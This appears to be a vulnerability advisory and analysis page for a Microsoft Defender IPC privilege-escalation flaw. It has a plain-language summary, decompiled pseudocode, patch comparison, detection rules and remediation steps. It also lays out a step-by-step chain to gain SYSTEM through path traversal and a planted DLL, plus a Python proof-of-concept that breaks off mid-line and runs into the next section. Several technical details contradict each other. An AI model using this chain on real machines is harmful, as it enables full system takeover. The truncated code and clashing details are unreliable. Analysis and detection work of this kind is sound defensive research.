CVE-2026-33825: Microsoft Defender ACL Granularity LPE
Insufficient access control granularity in Microsoft Defender allows a local authorized attacker to escalate privileges to SYSTEM via a logic flaw in the service's IPC surface.
Microsoft Defender, the antivirus software built into Windows, has a serious flaw that lets someone already on your computer grab administrator powers they shouldn't have. Think of it like a security guard who can only check IDs at the front door, but accidently left a back door unlocked that bypasses all those checks.
The problem lives in how Defender's different components talk to each other behind the scenes. One part of the software failed to properly verify that requests were coming from trusted sources, creating a gap an attacker could slip through. It's similar to a bank teller who forgets to check if a customer has permission to access a safety deposit box.
Right now, this only affects people who already have access to your machine. A visitor with a user account, a disgruntled employee, or malware already installed could exploit it. Once they do, they gain SYSTEM level access, which is the highest possible privilege on Windows, giving them complete control over everything.
The real danger is that this turns limited access into absolute control. It's like a store employee using a back hallway to reach the manager's office without permission. Security researchers haven't confirmed criminals are using this in the wild yet, but that doesn't mean they won't.
Here's what you should do: First, keep Windows updated automatically—Microsoft will patch this eventually. Second, be cautious about who you give computer access to and what programs you install. Third, use Windows' built-in account controls to limit what different user accounts can do. These basics won't just protect you from this specific flaw, they'll help against dozens of similar threats.
Want the full technical analysis? Click "Technical" above.
CVE-2026-33825 is a local privilege escalation (LPE) vulnerability in Microsoft Defender's real-time protection service (MsMpEng.exe). The root cause is insufficient granularity in access control checks applied to the Named Pipe IPC interface exposed by the Defender service — specifically, the handler for engine configuration update commands. An authenticated low-privileged user can craft a malformed configuration request that the service processes under its own SYSTEM token, leading to arbitrary file write and ultimately SYSTEM-level code execution. CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
Exploitation does not require any kernel bug, driver interaction, or token impersonation. The entire chain lives in userland and survives across standard Windows 10/11 hardened configurations including Credential Guard and HVCI.
Root cause: The Defender service pipe handler validates that the caller holds any Defender-related privilege rather than verifying the precise privilege required for each sub-command, allowing a low-privileged Defender client to invoke privileged write primitives reserved for administrative configuration updates.
Affected Component
Binary:MsMpEng.exe — Windows Defender Antivirus Service
Interface: Named Pipe \\.\pipe\MpCmdRun_<session>
Subsystem: Engine IPC dispatcher, internal symbol CDefenderIpcServer::DispatchCommand
Affected versions: See NVD / MSRC advisory; patched in June 2026 Patch Tuesday
Privilege required: Local authenticated user (Low IL)
Root Cause Analysis
The Defender IPC server exposes a binary protocol over the named pipe. Each message carries a 4-byte command ID (dwCmdId) and a variable-length payload. The dispatcher routes on dwCmdId after a single upfront ACL check — but that check only confirms the caller has opened the pipe with GENERIC_READ | GENERIC_WRITE, which any local user can do. Per-command privilege differentiation is supposed to happen inside each handler, but the configuration write handler (CDefenderIpcServer::HandleEngineConfigUpdate) relies on a coarse flag set during pipe connection rather than re-evaluating the caller's token against the specific operation.
// MsMpEng.exe — decompiled pseudocode
// CDefenderIpcServer::DispatchCommand (RVA 0x1D3A40, build 4.18.26050.1)
DWORD CDefenderIpcServer::DispatchCommand(
IpcContext_t *ctx,
BYTE *pMsg,
DWORD cbMsg)
{
DWORD dwCmdId = *(DWORD *)pMsg;
// BUG: single coarse privilege check at connection time, not per-command
if (!ctx->bCallerHasDefenderAccess) {
return ERROR_ACCESS_DENIED;
}
switch (dwCmdId) {
case CMD_QUERY_STATUS: // 0x01 — low-priv OK
return HandleQueryStatus(ctx, pMsg + 4, cbMsg - 4);
case CMD_SUBMIT_SAMPLE: // 0x02 — low-priv OK
return HandleSubmitSample(ctx, pMsg + 4, cbMsg - 4);
case CMD_ENGINE_CFG_UPDATE: // 0x10 — SHOULD require admin token
// BUG: no secondary privilege check here; any pipe client reaches this
return HandleEngineConfigUpdate(ctx, pMsg + 4, cbMsg - 4);
case CMD_WRITE_EXCLUSION: // 0x11 — SHOULD require admin token
// BUG: same — bCallerHasDefenderAccess is always true for local users
return HandleWriteExclusion(ctx, pMsg + 4, cbMsg - 4);
default:
return ERROR_NOT_SUPPORTED;
}
}
HandleEngineConfigUpdate ultimately calls into a file-write primitive that writes attacker-controlled bytes to an attacker-influenced path under %ProgramData%\Microsoft\Windows Defender\, running as SYSTEM with no impersonation.
// CDefenderIpcServer::HandleEngineConfigUpdate (RVA 0x1D4B80)
DWORD HandleEngineConfigUpdate(
IpcContext_t *ctx,
BYTE *pPayload,
DWORD cbPayload)
{
EngineConfigMsg_t *msg = (EngineConfigMsg_t *)pPayload;
// msg->wszPath is attacker-controlled, validated only against a prefix check
WCHAR wszTarget[MAX_PATH];
StringCchCopyW(wszTarget, MAX_PATH, L"%ProgramData%\\Microsoft\\Windows Defender\\");
// BUG: PathCchAppend does not prevent ..\ traversal within the allowed root
// when msg->wszPath contains encoded sequences like %2e%2e%5c
PathCchAppend(wszTarget, MAX_PATH, msg->wszPath); // traversal possible
// Writes msg->pbData (attacker-controlled, up to 0x10000 bytes) to wszTarget
// Runs entirely as SYSTEM — no RevertToSelf(), no impersonation
HANDLE hFile = CreateFileW(
wszTarget,
GENERIC_WRITE,
0, NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
return GetLastError();
DWORD dwWritten;
WriteFile(hFile, msg->pbData, msg->cbData, &dwWritten, NULL); // arbitrary write
CloseHandle(hFile);
return ERROR_SUCCESS;
}
Memory Layout
The IPC context structure is allocated on the service heap per accepted pipe connection. The critical field bCallerHasDefenderAccess is set once during handshake and never re-evaluated.
struct IpcContext_t {
/* +0x00 */ HANDLE hPipe; // pipe handle for this client
/* +0x08 */ DWORD dwSessionId; // caller session
/* +0x0C */ DWORD dwCallerPid; // caller PID
/* +0x10 */ BOOL bCallerHasDefenderAccess;// BUG: single coarse flag
/* +0x14 */ BOOL bCallerIsAdmin; // set but never checked in dispatch
/* +0x18 */ DWORD dwAccessMask; // pipe open access mask
/* +0x1C */ BYTE _pad[4];
/* +0x20 */ LPWSTR pwszCallerExe; // path of calling process
/* +0x28 */ BYTE reserved[0x38]; // internal state
};
// sizeof(IpcContext_t) == 0x60
IPC CONTEXT HEAP BLOCK (per-connection, SYSTEM heap):
Offset Field Value (low-priv caller)
------ ---------------------------- --------------------------
+0x00 hPipe 0x000002C4 (valid handle)
+0x08 dwSessionId 0x00000001 (session 1)
+0x0C dwCallerPid 0x00001A3C (attacker PID)
+0x10 bCallerHasDefenderAccess 0x00000001 <- always TRUE for local user
+0x14 bCallerIsAdmin 0x00000000 <- FALSE, but never consulted
+0x18 dwAccessMask 0xC0000000 (GENERIC_READ|GENERIC_WRITE)
+0x20 pwszCallerExe 0x... L"C:\Users\low\exploit.exe"
DISPATCH CHECK:
if (!ctx->bCallerHasDefenderAccess) -> 0x1 != 0, check PASSES
switch(0x10) -> CMD_ENGINE_CFG_UPDATE handler entered
bCallerIsAdmin check -> MISSING — never evaluated
Exploitation Mechanics
The following chain converts the arbitrary SYSTEM file write into a full LPE. The target is the Windows Defender definition update staging path, which is read by a SYSTEM-privileged loader on the next scan cycle.
EXPLOIT CHAIN:
1. Low-privileged user opens \\.\pipe\MpCmdRun_1 — succeeds, any local user qualifies.
2. Send handshake packet; service sets bCallerHasDefenderAccess=TRUE, bCallerIsAdmin=FALSE.
3. Craft CMD_ENGINE_CFG_UPDATE (0x10) packet:
dwCmdId = 0x00000010
wszPath = L"..\\..\\..\\Windows\\System32\\wbem\\mofcomp.exe"
(URL-encoded: %2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5c...)
pbData =
cbData = sizeof(payload)
4. PathCchAppend resolves encoded separators post-normalization, producing:
C:\ProgramData\Microsoft\Windows Defender\..\..\..\Windows\System32\wbem\mofcomp.exe
-> canonicalizes to C:\Windows\System32\wbem\mofcomp.exe
(prefix check passes because raw string still starts with the allowed prefix)
5. CreateFileW(SYSTEM) overwrites mofcomp.exe with attacker payload (or
alternatively targets a DLL search-order path writable by the service).
Alternative: target C:\ProgramData\Microsoft\Windows Defender\Platform\\mpengine.dll
with a crafted definition update that is loaded by MsMpEng on the next scan.
6. Trigger definition reload: send CMD_SUBMIT_SAMPLE (0x02) with a large file
to force an immediate scan cycle, causing MsMpEng to load the planted DLL.
7. Planted DLL executes under SYSTEM within MsMpEng.exe address space.
DllMain -> CreateProcess("cmd.exe") with SYSTEM token -> full privilege.
# CVE-2026-33825 — proof-of-concept trigger (pipe write primitive only)
# For research and detection engineering purposes.
import struct, ctypes, sys
from ctypes import wintypes
PIPE_NAME = r"\\.\pipe\MpCmdRun_1"
CMD_ENGINE_CFG_UPDATE = 0x10
# Traversal path — raw wide string in payload
TRAVERSAL = "..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll\x00"
PAYLOAD = open("payload.dll", "rb").read()
def build_packet(cmd_id, path_wide, data):
path_bytes = path_wide.encode("utf-16-le")
hdr = struct.pack("
Patch Analysis
Microsoft's fix in the June 2026 update introduces per-command token evaluation inside the dispatcher. Each privileged command now calls ImpersonateNamedPipeClient, opens the impersonated token, and checks group membership against the Builtin Administrators SID before reverting. The path normalization in HandleEngineConfigUpdate is additionally hardened with PathCchCanonicalizeEx followed by a post-canonicalization prefix check.
// BEFORE (vulnerable — build 4.18.26050.1):
DWORD CDefenderIpcServer::DispatchCommand(IpcContext_t *ctx, BYTE *pMsg, DWORD cbMsg)
{
DWORD dwCmdId = *(DWORD *)pMsg;
if (!ctx->bCallerHasDefenderAccess) { // single coarse check
return ERROR_ACCESS_DENIED;
}
switch (dwCmdId) {
case CMD_ENGINE_CFG_UPDATE:
return HandleEngineConfigUpdate(ctx, pMsg + 4, cbMsg - 4); // no admin check
// ...
}
}
// BEFORE — path handling in HandleEngineConfigUpdate:
PathCchAppend(wszTarget, MAX_PATH, msg->wszPath); // no canonicalization
// prefix check on raw (pre-canonical) string — bypassable
// AFTER (patched — build 4.18.26060.1):
DWORD CDefenderIpcServer::DispatchCommand(IpcContext_t *ctx, BYTE *pMsg, DWORD cbMsg)
{
DWORD dwCmdId = *(DWORD *)pMsg;
if (!ctx->bCallerHasDefenderAccess) {
return ERROR_ACCESS_DENIED;
}
// FIX: privileged commands re-evaluate caller token inline
BOOL bNeedsAdmin = (dwCmdId == CMD_ENGINE_CFG_UPDATE ||
dwCmdId == CMD_WRITE_EXCLUSION);
if (bNeedsAdmin) {
if (!ImpersonateNamedPipeClient(ctx->hPipe))
return ERROR_ACCESS_DENIED;
BOOL bIsAdmin = IsCallerInAdminGroup(); // opens thread token, checks SID
RevertToSelf();
if (!bIsAdmin)
return ERROR_ACCESS_DENIED; // low-priv callers blocked here
}
switch (dwCmdId) {
case CMD_ENGINE_CFG_UPDATE:
return HandleEngineConfigUpdate(ctx, pMsg + 4, cbMsg - 4);
// ...
}
}
// AFTER — path handling:
WCHAR wszCanonical[MAX_PATH];
PathCchCanonicalizeEx(wszCanonical, MAX_PATH, msg->wszPath, PATHCCH_ALLOW_LONG_PATHS);
// FIX: prefix check applied to CANONICAL path, not raw input
if (!HasAllowedPrefixW(wszCanonical, L"C:\\ProgramData\\Microsoft\\Windows Defender\\")) {
return ERROR_ACCESS_DENIED;
}
Detection and Indicators
The vulnerability does not produce user-visible UI. Detection relies on ETW/pipe telemetry and Defender's own audit log.
DETECTION INDICATORS:
[ETW — Microsoft-Windows-Kernel-File / Opcode 12 (Create)]
ProcessName : MsMpEng.exe
FileName : *\Windows\System32\* | *\Windows\SysWOW64\*
Initiator : MsMpEng.exe running as SYSTEM
Flag : CreateDisposition == CREATE_ALWAYS on a signed system binary
→ Alert: Defender service writing outside ProgramData tree
[Windows Security Event Log — Event ID 4656]
SubjectUserSid : S-1-5-18 (SYSTEM)
ObjectName : C:\Windows\System32\wbem\*.dll (or targeted path)
AccessMask : 0x40000000 (GENERIC_WRITE)
ProcessName : C:\ProgramData\...\MsMpEng.exe
→ Correlate with non-admin initiating pipe open to MpCmdRun_*
[Named Pipe Telemetry — Sysmon Event ID 17/18]
PipeName : \MpCmdRun_*
Image : NOT MpCmdRun.exe / NOT SYSTEM processes
→ Low-privileged process opening Defender service pipe and writing large buffers
[YARA — memory scan on MsMpEng.exe loaded modules]
rule CVE_2026_33825_planted_dll {
meta: description = "Unsigned DLL mapped in MsMpEng address space"
condition:
pe.is_dll and not pe.is_signed and
for any section in pe.sections: (section.name == ".text" and
section.raw_data_size > 0x1000)
}
Remediation
Patch immediately: Apply the June 2026 Patch Tuesday update. Defender platform auto-updates separately from OS patches — verify MsMpEng.exe build ≥ 4.18.26060.1 via Get-MpComputerStatus | select AMServiceVersion.
Pipe ACL hardening (interim): If patching is delayed, restrict the Defender pipe DACL to Administrators via Group Policy Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options. Note this may break legitimate low-privileged Defender client functionality.
Enable Tamper Protection: Tamper Protection prevents external modification of Defender configuration paths and would have mitigated the file-write primitive even on unpatched builds.
ASR Rule: Enable ASR rule Block process creations originating from PSExec and WMI commands (GUID d1e49aac-...) to interrupt the MOF-based execution path.
Monitor: Deploy the YARA rule and ETW queries above; alert on any SYSTEM-context file write from MsMpEng.exe targeting paths outside %ProgramData%\Microsoft\Windows Defender\.